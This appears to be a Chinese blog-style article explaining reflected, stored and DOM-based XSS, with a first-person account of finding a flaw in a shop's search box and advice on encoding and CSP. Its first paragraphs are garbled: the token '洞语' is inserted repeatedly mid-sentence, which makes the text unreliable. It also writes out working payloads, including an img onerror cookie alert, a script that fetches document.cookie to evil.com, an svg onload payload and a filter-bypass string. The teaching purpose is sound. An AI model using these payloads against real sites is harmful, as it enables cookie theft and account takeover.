xss漏洞语句
凌晨两点,洞语我盯着Burp Suite里那条被标红的洞语请求,后背发凉。洞语一个电商平台的洞语搜索框,参数keyword原样吐回了页面,洞语连引号都没过滤。洞语就这么赤裸裸地弹了出来。洞语这不是洞语什么高深技巧,就是洞语最基础的反射型XSS,可它偏偏出现在一个日活百万的洞语站点上。
XSS的洞语本质,是洞语让浏览器把攻击者控制的脚本当成页面的一部分执行。你得先理解一个事实:几乎所有XSS漏洞,洞语都源于“数据”和“代码”的洞语边界模糊。服务端把用户输入当字符串处理,洞语浏览器却把它当HTML解析——这中间的错位,就是漏洞的温床。比如下面这段经典payload:
<img src=x onerror=alert(document.cookie)> 当页面把这个输入拼进标签的src属性时,浏览器发现图片加载失败,于是触发onerror事件,执行了alert。整个过程没有服务端参与,完全是前端自导自演。你可能会问,就弹个cookie能怎样?我见过更狠的——攻击者用
<script>fetch('//evil.com/?c='+document.cookie)</script>把会话令牌偷走,然后登录受害者账号改密码。整个过程用户毫无察觉。
存储型XSS更阴险。它把payload存进数据库,每次用户访问页面都执行。我调试过一个论坛,用户签名档里塞了段<svg onload=alert(1)>,管理员一进后台就中招。那会儿我才意识到,XSS不挑身份,谁看谁倒霉。还有DOM型XSS,纯粹是前端JavaScript用innerHTML或document.write拼接用户可控数据导致的,连服务端都管不着。
防御手段说穿了就两条路:输出编码和输入校验。但别指望单靠一条能堵死。你给<script>标签做了HTML实体编码,攻击者换个<svg/onload=...>照样绕。你得根据上下文编码——HTML标签里用实体编码,属性里加引号转义,JavaScript字符串里用反斜杠处理。有个真实案例:某站用黑名单过滤script关键词,攻击者写<scr<script>ipt>,服务端过滤后反而拼出了合法标签。
写到这里,想起个细节。那次漏洞复现时,我同事在旁边嘟囔:“这破站连CSP都不设。”CSP(内容安全策略)确实能兜底,但配置不当反而引发新问题——比如用unsafe-inline就废了。说真的,XSS漏洞语句翻来覆去就那些花样,真正难的是让人意识到每个用户输入都可能是未爆的雷。你写代码时多花两秒做转义,比事后打补丁省心多了。
最后说个反常识的观察:很多XSS不是攻击者“找”出来的,而是开发者自己埋的。比如为了方便调试,在控制台输出用户输入;或者图省事,直接eval()拼接字符串。安全这事,往往败在懒惰上。